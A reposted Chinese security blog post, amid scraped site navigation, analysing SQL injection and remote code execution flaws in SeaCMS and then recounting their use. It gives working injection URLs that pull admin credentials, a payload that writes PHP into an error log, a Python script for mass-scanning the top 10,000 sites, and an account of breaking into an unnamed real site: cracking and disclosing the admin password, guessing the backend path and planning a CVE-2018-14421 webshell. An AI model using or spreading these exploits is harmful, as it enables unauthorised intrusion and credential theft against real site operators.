相关文章推荐
绅士的酱牛肉  ·  面向开发人员的 PL/SQL | ...·  2 月前    · 
八块腹肌的西装  ·  daterangepicker的使用以及后台 ...·  1 年前    · 
酷酷的手术刀  ·  多个python环境pip ...·  2 年前    · 
不羁的生姜  ·  文件夹命名自动数字递增-掘金·  2 年前    · 
销魂的跑步鞋  ·  用python实现图片的缩放,裁剪,颜色转换 ...·  2 年前    · 
Code  ›  是时候血洗小电影网站了-Seacms SQL注入与RCE分析及实战开发者社区
网站分析 sql注入
https://cloud.tencent.com/developer/article/1585763
道上混的斑马
2 年前
作者头像
天钧
0 篇文章

是时候血洗小电影网站了-Seacms SQL注入与RCE分析及实战

前往专栏
腾讯云
开发者社区
文档 意见反馈 控制台
首页
学习
活动
专区
工具
TVP
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP
返回腾讯云官网
社区首页 > 专栏 > 渗透云笔记 > 是时候血洗小电影网站了-Seacms SQL注入与RCE分析及实战

是时候血洗小电影网站了-Seacms SQL注入与RCE分析及实战

作者头像
天钧
发布 于 2020-02-18 16:09:12
1.7K 0
发布 于 2020-02-18 16:09:12
举报

文章来源;重生信息安全

0X001海洋CMS简介

海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑,手机,平板,APP多个终端入口,无任何加密代码,安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门建造看片网站的cms) 经历我多年**的经验,很多看小电影的网站都是用的这套cms或者maccms,因此是时候血洗小电影站点了 呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。突破信息都已经上了回家了。。

0X002 SeaCMS V9.1以下版本全版本SQL注入分析

看到了最近的工具上的seacms sql注入扩展,不由得下体一硬。 干干巴巴的,cnm,必须盘他!

突破产生处代码如下

session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
        if(file_exists($jsoncachefile))
                $json=LoadFile($jsoncachefile);
                die($json);
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
        createTextFile($h,$jsoncachefile);
die($h);
function ReadData($id,$page)
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                $ret[1] = Readrlist($x,1,10000);
        $readData = FormatJson($ret);
        return $readData;
function Readmlist($id,$page,$size)
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        $readmlist=join($ml,",");
        return $readmlist;
function Readrlist($ids,$page,$size)
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        $readrlist=join($rl,",");
        return $readrlist;
}

仔细阅读以上代码,发现$ rlist不再被初始化就先进入了ReadData函数,但实际上$ rlist可控,最终Readrlist函数创建注入 扩展利用Exploit如下(获取管理员表中第一个用户的密码)

http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

Exploit2(获取管理员表中第一个用户的账号)

http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

0X003 SeaCMS最新版本RCE分析

在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕

与老版本的seacms对比发现,程序员不知为何为何脑子错抽,注释掉了数据库类中的一行代码,导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下,直接实现了前台rce Exploit www.xxx.com/comment/api/index.php?gid=1&page=2&rlist[]=11 /?> <?php phpinfo(); / 立即访问http://www.xxx.com/data/ mysqli_error_trace.php 发现phpinfo可以执行 闲来无事,直接写了一个批量利用这个rce拆分getshell的脚本,文末有惊喜

闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,客官往下看

0X004实战

分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:

code如下(url.txt内容为你要批量测试的url)

import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
    testurl = url.strip() + payload
    html = requests.get(testurl).text
    if "seacms" in html:
        print("[+]Exploit URL:" + testurl)

虽然比较简陋,但也够用了,我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell,各位朋友有兴趣可以后台回复脚本

Sql注入的探测脚本发现了一个目标 https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

这个站用的老版本seacms,因此不存在前台rce

获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5 somd5成功解密

密码为Qq7788520 随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台

光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。 但是,我眉头一皱,发现事情并不简单 前面获取到的密码是Qq7788520,这应该是管理员的qq吧?

猜测后台为https://www.***.com/7788520 结果Duang的一下~真tmd是后台。。。。进去了 用之前注入到的账号密码,成功登录之

即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞 最后找到了CVE-2018-14421,一个Seacms Backend的RCE

漏洞详情链接:

http://hexo.imagemlt.xyz/post/seacms-backend-getshell/index.html

漏洞分析文章:

https://www.anquanke.com/post/id/152764

按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

{if:1)$GLOBALS['_G'.'ET']a;//}{end if}

 
推荐文章
绅士的酱牛肉  ·  面向开发人员的 PL/SQL | Oracle 中国
2 月前
八块腹肌的西装  ·  daterangepicker的使用以及后台处理_datetimerange类型后端如何接收-CSDN博客
1 年前
酷酷的手术刀  ·  多个python环境pip 多个python文件相互调用_温柔一刀的技术博客_51CTO博客
2 年前
不羁的生姜  ·  文件夹命名自动数字递增-掘金
2 年前
销魂的跑步鞋  ·  用python实现图片的缩放,裁剪,颜色转换,图像增强,调节亮度_python图片缩放_雨中漫步-99的博客-CSDN博客
2 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
Code - 代码工具平台
© 2024 ~ 沪ICP备11025650号